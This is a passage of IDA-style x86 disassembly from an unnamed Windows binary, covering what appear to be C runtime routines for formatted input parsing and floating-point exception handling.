		pop	edx
		movsx	ebx, [ebp+var_18]
		shl	edx, cl
		mov	ecx, eax
		sar	ecx, 3
		movsx	ecx, [ebp+ecx+var_64]
		xor	ecx, ebx
		test	edx, ecx
		jz	short loc_420BD9
		cmp	[ebp+var_E], 0
		jnz	short loc_420BD1
		cmp	[ebp+var_16], 0
		jz	short loc_420BC6
		mov	ecx, off_43C9D8
		mov	[ebp+var_38], al
		movzx	eax, al
		test	byte ptr [ecx+eax*2+1],	80h
		jz	short loc_420BA5
		inc	[ebp+var_4]
		push	edi
		call	sub_420F6C
		pop	ecx
		mov	[ebp+var_37], al


loc_420BA5:				; CODE XREF: sub_420510+686j
		push	dword_43CBE4
		lea	eax, [ebp+var_38]
		push	eax
		lea	eax, [ebp+var_3E]
		push	eax
		call	sub_423EC3
		mov	ax, [ebp+var_3E]
		add	esp, 0Ch
		mov	[esi], ax
		inc	esi
		inc	esi
		jmp	short loc_420BC9
; ---------------------------------------------------------------------------


loc_420BC6:				; CODE XREF: sub_420510+673j
		mov	[esi], al
		inc	esi


loc_420BC9:				; CODE XREF: sub_420510+6B4j
		mov	[ebp+var_2C], esi
		jmp	loc_420B35
; ---------------------------------------------------------------------------


loc_420BD1:				; CODE XREF: sub_420510+66Dj
		inc	[ebp+var_30]
		jmp	loc_420B35
; ---------------------------------------------------------------------------


loc_420BD9:				; CODE XREF: sub_420510+649j
					; sub_420510+667j
		dec	[ebp+var_4]
		push	edi
		push	eax
		call	sub_420F86
		pop	ecx
		pop	ecx


loc_420BE5:				; CODE XREF: sub_420510+633j
		cmp	[ebp+var_30], esi
		jz	loc_420F16
		cmp	[ebp+var_E], 0
		jnz	loc_420E77
		inc	[ebp+var_34]
		cmp	[ebp+var_3C], 63h
		jz	loc_420E77
		cmp	[ebp+var_16], 0
		mov	eax, [ebp+var_2C]
		jz	short loc_420C17
		and	word ptr [eax],	0
		jmp	loc_420E77
; ---------------------------------------------------------------------------


loc_420C17:				; CODE XREF: sub_420510+6FCj
		and	byte ptr [eax],	0
		jmp	loc_420E77
; ---------------------------------------------------------------------------


loc_420C1F:				; CODE XREF: sub_420510+466j
		mov	[ebp+var_D], 1


loc_420C23:				; CODE XREF: sub_420510+203j
					; sub_420510+215j ...
		mov	ebx, [ebp+var_14]
		cmp	ebx, 2Dh
		jnz	short loc_420C31
		mov	[ebp+var_17], 1
		jmp	short loc_420C36
; ---------------------------------------------------------------------------


loc_420C31:				; CODE XREF: sub_420510+719j
		cmp	ebx, 2Bh
		jnz	short loc_420C58


loc_420C36:				; CODE XREF: sub_420510+71Fj
		dec	[ebp+var_C]
		jnz	short loc_420C47
		cmp	[ebp+var_20], 0
		jz	short loc_420C47
		mov	[ebp+var_F], 1
		jmp	short loc_420C58
; ---------------------------------------------------------------------------


loc_420C47:				; CODE XREF: sub_420510+729j
					; sub_420510+72Fj
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_420F6C
		pop	ecx
		mov	ebx, eax


loc_420C55:				; CODE XREF: sub_420510+543j
		mov	[ebp+var_14], ebx


loc_420C58:				; CODE XREF: sub_420510+4FDj
					; sub_420510+52Dj ...
		cmp	[ebp+var_30], 0
		jz	loc_420D71
		cmp	[ebp+var_F], 0
		jnz	loc_420D4F


loc_420C6C:				; CODE XREF: sub_420510+82Cj
		cmp	esi, 78h
		jnz	short loc_420CC0
		cmp	dword_43CBE4, 1
		jle	short loc_420C89
		push	80h
		push	ebx
		call	sub_41F515
		pop	ecx
		pop	ecx
		jmp	short loc_420C96
; ---------------------------------------------------------------------------


loc_420C89:				; CODE XREF: sub_420510+768j
		mov	eax, off_43C9D8
		mov	al, [eax+ebx*2]
		and	eax, 80h


loc_420C96:				; CODE XREF: sub_420510+777j
		test	eax, eax
		jz	loc_420D41
		mov	eax, [ebp+var_28]
		mov	edx, [ebp+var_24]
		push	4
		pop	ecx
		call	sub_423F90
		push	ebx
		mov	[ebp+var_28], eax
		mov	[ebp+var_24], edx
		call	sub_420F35
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx
		jmp	short loc_420D13
; ---------------------------------------------------------------------------


loc_420CC0:				; CODE XREF: sub_420510+75Fj
		cmp	dword_43CBE4, 1
		jle	short loc_420CD5
		push	4
		push	ebx
		call	sub_41F515
		pop	ecx
		pop	ecx
		jmp	short loc_420CE0
; ---------------------------------------------------------------------------


loc_420CD5:				; CODE XREF: sub_420510+7B7j
		mov	eax, off_43C9D8
		mov	al, [eax+ebx*2]
		and	eax, 4


loc_420CE0:				; CODE XREF: sub_420510+7C3j
		test	eax, eax
		jz	short loc_420D41
		cmp	esi, 6Fh
		jnz	short loc_420CFE
		cmp	ebx, 38h
		jge	short loc_420D41
		mov	eax, [ebp+var_28]
		mov	edx, [ebp+var_24]
		push	3
		pop	ecx
		call	sub_423F90
		jmp	short loc_420D0D
; ---------------------------------------------------------------------------


loc_420CFE:				; CODE XREF: sub_420510+7D7j
		push	0
		push	0Ah
		push	[ebp+var_24]
		push	[ebp+var_28]
		call	sub_41D280


loc_420D0D:				; CODE XREF: sub_420510+7ECj
		mov	[ebp+var_28], eax
		mov	[ebp+var_24], edx


loc_420D13:				; CODE XREF: sub_420510+7AEj
		inc	[ebp+var_1C]
		lea	eax, [ebx-30h]
		cdq
		add	[ebp+var_28], eax
		adc	[ebp+var_24], edx
		cmp	[ebp+var_20], 0
		jz	short loc_420D2B
		dec	[ebp+var_C]
		jz	short loc_420D4F


loc_420D2B:				; CODE XREF: sub_420510+814j
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_420F6C
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx
		jmp	loc_420C6C
; ---------------------------------------------------------------------------


loc_420D41:				; CODE XREF: sub_420510+788j
					; sub_420510+7D2j ...
		push	[ebp+arg_0]
		dec	[ebp+var_4]
		push	ebx
		call	sub_420F86
		pop	ecx
		pop	ecx


loc_420D4F:				; CODE XREF: sub_420510+756j
					; sub_420510+819j
		cmp	[ebp+var_17], 0
		jz	loc_420E35
		mov	eax, [ebp+var_28]
		mov	ecx, [ebp+var_24]
		neg	eax
		adc	ecx, 0
		mov	[ebp+var_28], eax
		neg	ecx
		mov	[ebp+var_24], ecx
		jmp	loc_420E35
; ---------------------------------------------------------------------------


loc_420D71:				; CODE XREF: sub_420510+74Cj
		cmp	[ebp+var_F], 0
		jnz	loc_420E2D


loc_420D7B:				; CODE XREF: sub_420510+90Aj
		cmp	esi, 78h
		jz	short loc_420DBF
		cmp	esi, 70h
		jz	short loc_420DBF
		cmp	dword_43CBE4, 1
		jle	short loc_420D9A
		push	4
		push	ebx
		call	sub_41F515
		pop	ecx
		pop	ecx
		jmp	short loc_420DA5
; ---------------------------------------------------------------------------


loc_420D9A:				; CODE XREF: sub_420510+87Cj
		mov	eax, off_43C9D8
		mov	al, [eax+ebx*2]
		and	eax, 4


loc_420DA5:				; CODE XREF: sub_420510+888j
		test	eax, eax
		jz	short loc_420E1F
		cmp	esi, 6Fh
		jnz	short loc_420DB8
		cmp	ebx, 38h
		jge	short loc_420E1F
		shl	edi, 3
		jmp	short loc_420DF7
; ---------------------------------------------------------------------------


loc_420DB8:				; CODE XREF: sub_420510+89Cj
		lea	edi, [edi+edi*4]
		shl	edi, 1
		jmp	short loc_420DF7
; ---------------------------------------------------------------------------


loc_420DBF:				; CODE XREF: sub_420510+86Ej
					; sub_420510+873j
		cmp	dword_43CBE4, 1
		jle	short loc_420DD7
		push	80h
		push	ebx
		call	sub_41F515
		pop	ecx
		pop	ecx
		jmp	short loc_420DE4
; ---------------------------------------------------------------------------


loc_420DD7:				; CODE XREF: sub_420510+8B6j
		mov	eax, off_43C9D8
		mov	al, [eax+ebx*2]
		and	eax, 80h


loc_420DE4:				; CODE XREF: sub_420510+8C5j
		test	eax, eax
		jz	short loc_420E1F
		push	ebx
		shl	edi, 4
		call	sub_420F35
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx


loc_420DF7:				; CODE XREF: sub_420510+8A6j
					; sub_420510+8ADj
		inc	[ebp+var_1C]
		cmp	[ebp+var_20], 0
		lea	edi, [edi+ebx-30h]
		jz	short loc_420E09
		dec	[ebp+var_C]
		jz	short loc_420E2D


loc_420E09:				; CODE XREF: sub_420510+8F2j
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_420F6C
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx
		jmp	loc_420D7B
; ---------------------------------------------------------------------------


loc_420E1F:				; CODE XREF: sub_420510+897j
					; sub_420510+8A1j ...
		push	[ebp+arg_0]
		dec	[ebp+var_4]
		push	ebx
		call	sub_420F86
		pop	ecx
		pop	ecx


loc_420E2D:				; CODE XREF: sub_420510+865j
					; sub_420510+8F7j
		cmp	[ebp+var_17], 0
		jz	short loc_420E35
		neg	edi


loc_420E35:				; CODE XREF: sub_420510+843j
					; sub_420510+85Cj ...
		cmp	esi, 46h
		jnz	short loc_420E3E
		and	[ebp+var_1C], 0


loc_420E3E:				; CODE XREF: sub_420510+928j
		cmp	[ebp+var_1C], 0
		jz	loc_420F16
		cmp	[ebp+var_E], 0
		jnz	short loc_420E77
		inc	[ebp+var_34]


loc_420E51:				; CODE XREF: sub_420510+23Bj
		cmp	[ebp+var_30], 0
		jz	short loc_420E67
		mov	eax, [ebp+var_2C]
		mov	ecx, [ebp+var_28]
		mov	[eax], ecx
		mov	ecx, [ebp+var_24]
		mov	[eax+4], ecx
		jmp	short loc_420E77
; ---------------------------------------------------------------------------


loc_420E67:				; CODE XREF: sub_420510+945j
		cmp	[ebp+var_D], 0
		mov	eax, [ebp+var_2C]
		jz	short loc_420E74
		mov	[eax], edi
		jmp	short loc_420E77
; ---------------------------------------------------------------------------


loc_420E74:				; CODE XREF: sub_420510+95Ej
		mov	[eax], di


loc_420E77:				; CODE XREF: sub_420510+241j
					; sub_420510+414j ...
		inc	[ebp+var_15]
		inc	[ebp+arg_4]
		mov	esi, [ebp+arg_4]
		jmp	short loc_420EC4
; ---------------------------------------------------------------------------


loc_420E82:				; CODE XREF: sub_420510+93j
		inc	[ebp+var_4]
		push	edi
		call	sub_420F6C
		mov	ebx, eax
		pop	ecx
		movzx	eax, byte ptr [esi]
		inc	esi
		cmp	eax, ebx
		mov	[ebp+var_14], ebx
		mov	[ebp+arg_4], esi
		jnz	short loc_420EF1
		mov	ecx, off_43C9D8
		movzx	eax, bl
		test	byte ptr [ecx+eax*2+1],	80h
		jz	short loc_420EC4
		inc	[ebp+var_4]
		push	edi
		call	sub_420F6C
		pop	ecx
		movzx	ecx, byte ptr [esi]
		inc	esi
		cmp	ecx, eax
		mov	[ebp+arg_4], esi
		jnz	short loc_420EFF
		dec	[ebp+var_4]


loc_420EC4:				; CODE XREF: sub_420510+970j
					; sub_420510+99Aj
		cmp	[ebp+var_14], 0FFFFFFFFh
		jnz	short loc_420EDA
		cmp	byte ptr [esi],	25h
		jnz	short loc_420F1C
		mov	eax, [ebp+arg_4]
		cmp	byte ptr [eax+1], 6Eh
		jnz	short loc_420F1C
		mov	esi, eax


loc_420EDA:				; CODE XREF: sub_420510+9B8j
		mov	al, [esi]
		test	al, al
		jnz	loc_42053A
		jmp	short loc_420F16
; ---------------------------------------------------------------------------


loc_420EE6:				; CODE XREF: sub_420510+1F4j
					; sub_420510+491j
		push	[ebp+arg_0]
		dec	[ebp+var_4]
		push	[ebp+var_14]
		jmp	short loc_420EF6
; ---------------------------------------------------------------------------


loc_420EF1:				; CODE XREF: sub_420510+98Aj
		dec	[ebp+var_4]
		push	edi
		push	ebx


loc_420EF6:				; CODE XREF: sub_420510+9DFj
		call	sub_420F86
		pop	ecx
		pop	ecx
		jmp	short loc_420F16
; ---------------------------------------------------------------------------


loc_420EFF:				; CODE XREF: sub_420510+9AFj
		dec	[ebp+var_4]
		push	edi
		push	eax
		call	sub_420F86
		dec	[ebp+var_4]
		push	edi
		push	ebx
		call	sub_420F86
		add	esp, 10h


loc_420F16:				; CODE XREF: sub_420510+1Fj
					; sub_420510+40Aj ...
		cmp	[ebp+var_14], 0FFFFFFFFh
		jnz	short loc_420F2D


loc_420F1C:				; CODE XREF: sub_420510+9BDj
					; sub_420510+9C6j
		mov	eax, [ebp+var_34]
		test	eax, eax
		jnz	short loc_420F30
		cmp	[ebp+var_15], al
		jnz	short loc_420F30
		or	eax, 0FFFFFFFFh
		jmp	short loc_420F30
; ---------------------------------------------------------------------------


loc_420F2D:				; CODE XREF: sub_420510+A0Aj
		mov	eax, [ebp+var_34]


loc_420F30:				; CODE XREF: sub_420510+A11j
					; sub_420510+A16j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_420510	endp


; =============== S U B	R O U T	I N E =======================================



sub_420F35	proc near		; CODE XREF: sub_420510+7A3p
					; sub_420510+8DCp

arg_0		= dword	ptr  4

		cmp	dword_43CBE4, 1
		push	esi
		jle	short loc_420F4F
		mov	esi, [esp+4+arg_0]
		push	4
		push	esi
		call	sub_41F515
		pop	ecx
		pop	ecx
		jmp	short loc_420F5E
; ---------------------------------------------------------------------------


loc_420F4F:				; CODE XREF: sub_420F35+8j
		mov	esi, [esp+4+arg_0]
		mov	eax, off_43C9D8
		mov	al, [eax+esi*2]
		and	eax, 4


loc_420F5E:				; CODE XREF: sub_420F35+18j
		test	eax, eax
		jnz	short loc_420F68
		and	esi, 0FFFFFFDFh
		sub	esi, 7


loc_420F68:				; CODE XREF: sub_420F35+2Bj
		mov	eax, esi
		pop	esi
		retn
sub_420F35	endp


; =============== S U B	R O U T	I N E =======================================



sub_420F6C	proc near		; CODE XREF: sub_420510+1E1p
					; sub_420510+289p ...

arg_0		= dword	ptr  4

		mov	edx, [esp+arg_0]
		dec	dword ptr [edx+4]
		js	short loc_420F7E
		mov	ecx, [edx]
		movzx	eax, byte ptr [ecx]
		inc	ecx
		mov	[edx], ecx
		retn
; ---------------------------------------------------------------------------


loc_420F7E:				; CODE XREF: sub_420F6C+7j
		push	edx
		call	sub_41F043
		pop	ecx
		retn
sub_420F6C	endp


; =============== S U B	R O U T	I N E =======================================



sub_420F86	proc near		; CODE XREF: sub_420510+6Bp
					; sub_420510+3FFp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		cmp	[esp+arg_0], 0FFFFFFFFh
		jz	short locret_420F9C
		push	[esp+arg_4]
		push	[esp+4+arg_0]
		call	sub_423FAF
		pop	ecx
		pop	ecx

locret_420F9C:				; CODE XREF: sub_420F86+5j
		retn
sub_420F86	endp


; =============== S U B	R O U T	I N E =======================================



sub_420F9D	proc near		; CODE XREF: sub_420510+63p
					; sub_420510+1D3p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, [esp+4+arg_0]
		push	edi


loc_420FA3:				; CODE XREF: sub_420F9D+1Dj
		push	[esp+8+arg_4]
		inc	dword ptr [esi]
		call	sub_420F6C
		mov	edi, eax
		push	edi
		call	sub_41D670
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_420FA3
		mov	eax, edi
		pop	edi
		pop	esi
		retn
sub_420F9D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __fastcall sub_420FC1(int,int,double,int)

sub_420FC1	proc near		; CODE XREF: sub_41C679+51p
					; sub_41C7BF+51p

var_1C		= qword	ptr -1Ch
var_14		= qword	ptr -14h
var_C		= qword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		cmp	dword_43D350, 0
		jnz	short loc_420FF6
		push	[ebp+arg_C]	; int
		fld	qword ptr [ebp+arg_4]
		push	ecx
		push	ecx		; double
		fstp	[esp+0Ch+var_C]
		push	ecx		; int
		push	ecx		; int
		fldz
		fstp	[esp+14h+var_14]
		fld	qword ptr [ebp+arg_4]
		push	ecx		; int
		push	ecx		; int
		fstp	[esp+1Ch+var_1C]
		push	[ebp+arg_0]	; int
		push	1		; int
		call	sub_421576
		add	esp, 24h
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_420FF6:				; CODE XREF: sub_420FC1+Aj
		push	0FFFFh
		mov	dword_4DB958, 21h
		push	[ebp+arg_C]
		call	sub_4217E9
		fld	qword ptr [ebp+arg_4]
		pop	ecx
		pop	ecx
		pop	ebp
		retn
sub_420FC1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_421014(int,int,double,double,int)

sub_421014	proc near		; CODE XREF: sub_41C679:loc_41C73Cp
					; sub_41C7BF:loc_41C882p

var_74		= qword	ptr -74h
var_6C		= qword	ptr -6Ch
var_64		= qword	ptr -64h
var_5C		= dword	ptr -5Ch
var_58		= byte ptr -58h
var_20		= dword	ptr -20h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= qword	ptr  10h
arg_10		= qword	ptr  18h
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		sub	esp, 58h
		push	[ebp+arg_18]
		lea	eax, [ebp+arg_10]
		push	eax
		push	[ebp+arg_0]
		call	sub_42135F
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_421052
		lea	eax, [ebp+arg_10]
		and	[ebp+var_20], 0FFFFFFFEh
		push	eax
		lea	eax, [ebp+arg_8]
		push	eax
		lea	eax, [ebp+arg_18]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_58]
		push	eax
		call	sub_4210AC
		add	esp, 18h


loc_421052:				; CODE XREF: sub_421014+1Aj
		push	[ebp+arg_0]
		call	sub_421649
		cmp	dword_43D350, 0
		pop	ecx
		jnz	short loc_421090
		test	eax, eax
		jz	short loc_421090
		push	[ebp+arg_18]	; int
		fld	[ebp+arg_10]
		push	ecx
		push	ecx		; double
		fstp	[esp+64h+var_64]
		push	ecx		; int
		push	ecx		; int
		fldz
		fstp	[esp+6Ch+var_6C]
		fld	[ebp+arg_8]
		push	ecx		; int
		push	ecx		; int
		fstp	[esp+74h+var_74]
		push	[ebp+arg_4]	; int
		push	eax		; int
		call	sub_421576
		add	esp, 24h
		leave
		retn
; ---------------------------------------------------------------------------


loc_421090:				; CODE XREF: sub_421014+4Ej
					; sub_421014+52j
		push	eax
		call	sub_4215FE
		mov	[esp+5Ch+var_5C], 0FFFFh
		push	[ebp+arg_18]
		call	sub_4217E9
		fld	[ebp+arg_10]
		pop	ecx
		pop	ecx
		leave
		retn
sub_421014	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4210AC	proc near		; CODE XREF: sub_421014+36p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		mov	ecx, [ebp+arg_0]
		xor	eax, eax
		push	ebx
		push	esi
		mov	[ecx+4], eax
		mov	ecx, [ebp+arg_0]
		push	edi
		push	1
		mov	[ecx+8], eax
		mov	ecx, [ebp+arg_0]
		pop	ebx
		mov	[ecx+0Ch], eax
		mov	cl, byte ptr [ebp+arg_8]
		test	cl, 10h
		jz	short loc_4210DE
		mov	eax, [ebp+arg_0]
		mov	[ebp+arg_8], 0C000008Fh
		or	[eax+4], ebx


loc_4210DE:				; CODE XREF: sub_4210AC+23j
		test	cl, 2
		jz	short loc_4210F1
		mov	eax, [ebp+arg_0]
		mov	[ebp+arg_8], 0C0000093h
		or	dword ptr [eax+4], 2


loc_4210F1:				; CODE XREF: sub_4210AC+35j
		test	cl, bl
		jz	short loc_421103
		mov	eax, [ebp+arg_0]
		mov	[ebp+arg_8], 0C0000091h
		or	dword ptr [eax+4], 4


loc_421103:				; CODE XREF: sub_4210AC+47j
		test	cl, 4
		jz	short loc_421116
		mov	eax, [ebp+arg_0]
		mov	[ebp+arg_8], 0C000008Eh
		or	dword ptr [eax+4], 8


loc_421116:				; CODE XREF: sub_4210AC+5Aj
		test	cl, 8
		jz	short loc_421129
		mov	eax, [ebp+arg_0]
		mov	[ebp+arg_8], 0C0000090h
		or	dword ptr [eax+4], 10h


loc_421129:				; CODE XREF: sub_4210AC+6Dj
		mov	esi, [ebp+arg_4]
		mov	eax, [ebp+arg_0]
		push	2
		mov	ecx, [esi]
		mov	edx, [eax+8]
		not	ecx
		and	ecx, ebx
		and	edx, 0FFFFFFEFh
		shl	ecx, 4
		or	ecx, edx
		pop	edi
		mov	[eax+8], ecx
		mov	ecx, [esi]
		mov	eax, [ebp+arg_0]
		not	ecx
		mov	edx, [eax+8]
		and	ecx, 4
		shl	ecx, 1
		and	edx, 0FFFFFFF7h
		or	ecx, edx
		mov	[eax+8], ecx
		mov	ecx, [esi]
		mov	eax, [ebp+arg_0]
		not	ecx
		mov	edx, [eax+8]
		shr	ecx, 1
		and	ecx, 4
		and	edx, 0FFFFFFFBh
		or	ecx, edx
		mov	[eax+8], ecx
		mov	ecx, [esi]
		mov	eax, [ebp+arg_0]
		not	ecx
		mov	edx, [eax+8]
		shr	ecx, 3
		and	ecx, edi
		and	edx, 0FFFFFFFDh
		or	ecx, edx
		mov	[eax+8], ecx
		mov	ecx, [esi]
		mov	eax, [ebp+arg_0]
		not	ecx
		mov	edx, [eax+8]
		shr	ecx, 5
		and	ecx, ebx
		and	edx, 0FFFFFFFEh
		or	ecx, edx
		mov	[eax+8], ecx
		call	sub_4217CC
		test	al, bl
		jz	short loc_4211B2
		mov	ecx, [ebp+arg_0]
		or	dword ptr [ecx+0Ch], 10h


loc_4211B2:				; CODE XREF: sub_4210AC+FDj
		test	al, 4
		jz	short loc_4211BD
		mov	ecx, [ebp+arg_0]
		or	dword ptr [ecx+0Ch], 8


loc_4211BD:				; CODE XREF: sub_4210AC+108j
		test	al, 8
		jz	short loc_4211C8
		mov	ecx, [ebp+arg_0]
		or	dword ptr [ecx+0Ch], 4


loc_4211C8:				; CODE XREF: sub_4210AC+113j
		test	al, 10h
		jz	short loc_4211D2
		mov	ecx, [ebp+arg_0]
		or	[ecx+0Ch], edi


loc_4211D2:				; CODE XREF: sub_4210AC+11Ej
		test	al, 20h
		jz	short loc_4211DC
		mov	eax, [ebp+arg_0]
		or	[eax+0Ch], ebx


loc_4211DC:				; CODE XREF: sub_4210AC+128j
		mov	eax, [esi]
		mov	ecx, 0C00h
		and	eax, ecx
		jz	short loc_42121B
		cmp	eax, 400h
		jz	short loc_42120D
		cmp	eax, 800h
		jz	short loc_421201
		cmp	eax, ecx
		jnz	short loc_421221
		mov	eax, [ebp+arg_0]
		or	dword ptr [eax], 3
		jmp	short loc_421221
; ---------------------------------------------------------------------------


loc_421201:				; CODE XREF: sub_4210AC+147j
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		and	ecx, 0FFFFFFFEh
		or	ecx, edi
		jmp	short loc_421217
; ---------------------------------------------------------------------------


loc_42120D:				; CODE XREF: sub_4210AC+140j
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		and	ecx, 0FFFFFFFDh
		or	ecx, ebx


loc_421217:				; CODE XREF: sub_4210AC+15Fj
		mov	[eax], ecx
		jmp	short loc_421221
; ---------------------------------------------------------------------------


loc_42121B:				; CODE XREF: sub_4210AC+139j
		mov	eax, [ebp+arg_0]
		and	dword ptr [eax], 0FFFFFFFCh


loc_421221:				; CODE XREF: sub_4210AC+14Bj
					; sub_4210AC+153j ...
		mov	eax, [esi]
		mov	ecx, 300h
		and	eax, ecx
		jz	short loc_42124C
		cmp	eax, 200h
		jz	short loc_42123F
		cmp	eax, ecx
		jnz	short loc_421259
		mov	eax, [ebp+arg_0]
		and	dword ptr [eax], 0FFFFFFE3h
		jmp	short loc_421259
; ---------------------------------------------------------------------------


loc_42123F:				; CODE XREF: sub_4210AC+185j
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		and	ecx, 0FFFFFFE7h
		or	ecx, 4
		jmp	short loc_421257
; ---------------------------------------------------------------------------


loc_42124C:				; CODE XREF: sub_4210AC+17Ej
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		and	ecx, 0FFFFFFEBh
		or	ecx, 8


loc_421257:				; CODE XREF: sub_4210AC+19Ej
		mov	[eax], ecx


loc_421259:				; CODE XREF: sub_4210AC+189j
					; sub_4210AC+191j
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+arg_C]
		and	ecx, 0FFFh
		mov	edx, [eax]
		shl	ecx, 5
		and	edx, 0FFFE001Fh
		or	ecx, edx
		mov	[eax], ecx
		mov	eax, [ebp+arg_0]
		or	[eax+20h], ebx
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+20h]
		and	ecx, 0FFFFFFE3h
		or	ecx, edi
		mov	[eax+20h], ecx
		mov	eax, [ebp+arg_10]
		fld	qword ptr [eax]
		mov	eax, [ebp+arg_0]
		fstp	qword ptr [eax+10h]
		mov	eax, [ebp+arg_0]
		or	[eax+50h], ebx
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+50h]
		and	ecx, 0FFFFFFE3h
		or	ecx, edi
		mov	edi, [ebp+arg_14]
		mov	[eax+50h], ecx
		mov	eax, [ebp+arg_0]
		fld	qword ptr [edi]
		fstp	qword ptr [eax+40h]
		call	sub_4217DA
		lea	eax, [ebp+arg_0]
		push	eax
		push	ebx
		push	0
		push	[ebp+arg_8]
		nop
		call	near ptr 26603D9h
		mov	eax, [ebp+arg_0]
		test	byte ptr [eax+8], 10h
		jz	short loc_4212D3
		and	dword ptr [esi], 0FFFFFFFEh


loc_4212D3:				; CODE XREF: sub_4210AC+222j
		test	byte ptr [eax+8], 8
		jz	short loc_4212DC
		and	dword ptr [esi], 0FFFFFFFBh


loc_4212DC:				; CODE XREF: sub_4210AC+22Bj
		test	byte ptr [eax+8], 4
		jz	short loc_4212E5
		and	dword ptr [esi], 0FFFFFFF7h


loc_4212E5:				; CODE XREF: sub_4210AC+234j
		test	byte ptr [eax+8], 2
		jz	short loc_4212EE
		and	dword ptr [esi], 0FFFFFFEFh


loc_4212EE:				; CODE XREF: sub_4210AC+23Dj
		test	[eax+8], bl
		jz	short loc_4212F6
		and	dword ptr [esi], 0FFFFFFDFh


loc_4212F6:				; CODE XREF: sub_4210AC+245j
		mov	ecx, [eax]
		mov	edx, 0FFFFF3FFh
		and	ecx, 3
		sub	ecx, 0
		jz	short loc_42132A
		dec	ecx
		jz	short loc_42131E
		dec	ecx
		jz	short loc_421314
		dec	ecx
		jnz	short loc_42132C
		or	byte ptr [esi+1], 0Ch
		jmp	short loc_42132C
; ---------------------------------------------------------------------------


loc_421314:				; CODE XREF: sub_4210AC+25Dj
		mov	ecx, [esi]
		and	ch, 0FBh
		or	ch, 8
		jmp	short loc_421326
; ---------------------------------------------------------------------------


loc_42131E:				; CODE XREF: sub_4210AC+25Aj
		mov	ecx, [esi]
		and	ch, 0F7h
		or	ch, 4


loc_421326:				; CODE XREF: sub_4210AC+270j
		mov	[esi], ecx
		jmp	short loc_42132C
; ---------------------------------------------------------------------------


loc_42132A:				; CODE XREF: sub_4210AC+257j
		and	[esi], edx


loc_42132C:				; CODE XREF: sub_4210AC+260j
					; sub_4210AC+266j ...
		mov	ecx, [eax]
		shr	ecx, 2
		and	ecx, 7
		sub	ecx, 0
		jz	short loc_42134C
		dec	ecx
		jz	short loc_421343
		dec	ecx
		jnz	short loc_421355
		and	[esi], edx
		jmp	short loc_421355
; ---------------------------------------------------------------------------


loc_421343:				; CODE XREF: sub_4210AC+28Ej
		mov	ecx, [esi]
		and	ecx, edx
		or	ch, 2
		jmp	short loc_421353
; ---------------------------------------------------------------------------


loc_42134C:				; CODE XREF: sub_4210AC+28Bj
		mov	ecx, [esi]
		and	ecx, edx
		or	ch, 3


loc_421353:				; CODE XREF: sub_4210AC+29Ej
		mov	[esi], ecx


loc_421355:				; CODE XREF: sub_4210AC+291j
					; sub_4210AC+295j
		fld	qword ptr [eax+40h]
		fstp	qword ptr [edi]
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_4210AC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42135F	proc near		; CODE XREF: sub_421014+10p

var_24		= qword	ptr -24h
var_C		= qword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		mov	eax, [ebp+arg_0]
		push	ebx
		push	edi
		mov	edi, eax
		and	edi, 1Fh
		push	1
		test	al, 8
		pop	ebx
		jz	short loc_42138A
		test	byte ptr [ebp+arg_8], bl
		jz	short loc_42138A
		push	ebx
		call	sub_42180C
		pop	ecx
		and	edi, 0FFFFFFF7h
		jmp	loc_421554
; ---------------------------------------------------------------------------


loc_42138A:				; CODE XREF: sub_42135F+15j
					; sub_42135F+1Aj
		test	al, 4
		jz	short loc_4213A4
		test	byte ptr [ebp+arg_8], 4
		jz	short loc_4213A4
		push	4
		call	sub_42180C
		pop	ecx
		and	edi, 0FFFFFFFBh
		jmp	loc_421554
; ---------------------------------------------------------------------------


loc_4213A4:				; CODE XREF: sub_42135F+2Dj
					; sub_42135F+33j
		test	al, bl
		jz	loc_42147E
		test	byte ptr [ebp+arg_8], 8
		jz	loc_42147E
		push	8
		call	sub_42180C
		pop	ecx
		mov	eax, 0C00h
		mov	ecx, [ebp+arg_8]
		and	ecx, eax
		jz	loc_421456
		cmp	ecx, 400h
		jz	short loc_42142E
		cmp	ecx, 800h
		jz	short loc_421406
		cmp	ecx, eax
		jnz	loc_421476
		mov	ecx, [ebp+arg_4]
		fld	qword ptr [ecx]
		fcomp	dbl_427878
		fld	dbl_43CF50
		fnstsw	ax
		sahf
